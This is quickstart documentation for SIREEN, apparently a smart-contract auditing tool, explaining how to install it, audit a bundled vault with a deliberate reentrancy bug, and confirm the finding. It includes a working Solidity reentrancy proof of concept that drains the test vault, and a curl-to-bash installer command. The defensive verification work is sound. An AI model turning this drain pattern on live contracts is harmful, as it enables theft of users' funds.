Evaluate SIREEN in about fifteen minutes.

Check prerequisites

Everything below was verified on Linux with these versions. Older versions may work but are untested.

• Python 3.11+ — required.
• Foundry (forge) 1.8.5 — strongly recommended. Without it, no test is executed and every finding stays needs_review.
• An OpenRouter API key — optional. Without one, SIREEN runs fully offline in heuristic mode.

python3 --version
forge --version

# Install Foundry if missing:
curl -L https://foundry.paradigm.xyz | bash
foundryup

Install, or inspect first

SIREEN is proprietary software, and the source repository is private. If you would rather not install anything, read Known Limitations and the Concepts pages first — they describe the verification contract in detail.

If you do install, note that heuristic mode makes no network calls at all. The only outbound request SIREEN ever makes is to OpenRouter, and only when you configure a key.

cd gaolaif/backend
python3 -m pip install -r requirements.txt
python3 -m pip install -e .

sireen --help

export SIREEN_DB_PATH="$HOME/.sireen/audits.db"

Run the bundled example

The project ships VulnerableVault.sol, a test fixture we own that contains a deliberate reentrancy bug in withdraw(). Run it with no API key so the result depends on nothing external.

sireen audit test_contracts/VulnerableVault.sol

That DEGRADED state is the point. SIREEN does not round a partially-successful run up to "confirmed" and does not round it down to "clean". It tells you exactly which hypothesis survived execution and which did not.

Verify the result independently

Do not take SIREEN's word for it. Re-confirm the vulnerability in a stock Foundry project that uses the real forge-std library — no SIREEN code involved.

forge init --no-git verify-poc
cd verify-poc
cp /path/to/VulnerableVault.sol src/

Add this test as test/ReentrancyPoC.t.sol:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "../src/VulnerableVault.sol";

contract ReentrancyPoC is Test {
    VulnerableVault public victim;

    function setUp() public {
        victim = new VulnerableVault();
        vm.deal(address(this), 100 ether);
    }

    function testExploit() public {
        victim.deposit{value: 10 ether}();
        uint256 vaultBefore = address(victim).balance;

        Attacker att = new Attacker(address(victim));
        vm.deal(address(att), 5 ether);
        att.depositAndAttack();

        uint256 drained = vaultBefore - address(victim).balance;
        assertGe(drained, 2 ether, "pool did not lose >= 2 units");
        assertGt(address(att).balance, 1 ether, "attacker did not gain");
    }
}

contract Attacker {
    VulnerableVault public victim;
    uint256 public count;

    constructor(address _victim) { victim = VulnerableVault(payable(_victim)); }

    function depositAndAttack() external payable {
        victim.deposit{value: 1 ether}();
        victim.withdraw();
    }

    receive() external payable {
        if (count < 3 && address(victim).balance >= 1 ether) {
            count++;
            victim.withdraw();
        }
    }
}

forge test --match-path "test/ReentrancyPoC.t.sol" -vv

If you see [PASS], the reentrancy is real and SIREEN's CONFIRMED verdict agrees with an independent toolchain. If you see a failure, SIREEN is wrong — please report it.

Know what this does not prove

• A CONFIRMED finding proves the specific behavior the generated test exercised — not that the contract is exploitable end-to-end, and not that the bug is reachable in production.
• Only reentrancy and access-control vectors are genuinely supported. Oracle manipulation, flash loans, and governance attacks are skipped, not detected.
• There is no DoS detector at all in v0.1.1. An arithmetic PoC template exists, but no heuristic raises that hypothesis, so it is never exercised in heuristic mode.
• delegatecall, signature replay, and weak randomness hypotheses can be raised, but they have no PoC template, so the test is skipped instead of reported as a pass.
• AI-assisted mode is wired but its hypothesis quality has not been systematically evaluated.
• A clean_with_coverage result means the current heuristics found no attack surface. It is not a statement that the contract is secure.

Full detail: Known Limitations.

Report what you find

Bug reports are genuinely useful, especially false CONFIRMED verdicts, PoCs that fail to compile, and unhelpful error messages. Please include:

• SIREEN version (sireen --help) and forge --version
• Your OS and Python version
• The exact command you ran
• The audit ID (sireen audits) or the full JSON (sireen show <id> --json)
• Whether an OpenRouter key was configured
• What you expected, and what actually happened

sireen show <audit-id> --json
sireen report <audit-id> --output report.md

Report issues to the project owner on GitHub. Note that the SIREEN source repository is private; access is granted case by case.

Verify distributed files

If you download the VS Code extension package, check its checksum against the value published on the download page before installing.

sha256sum sireen-0.1.4.vsix

On macOS:

shasum -a 256 sireen-0.1.4.vsix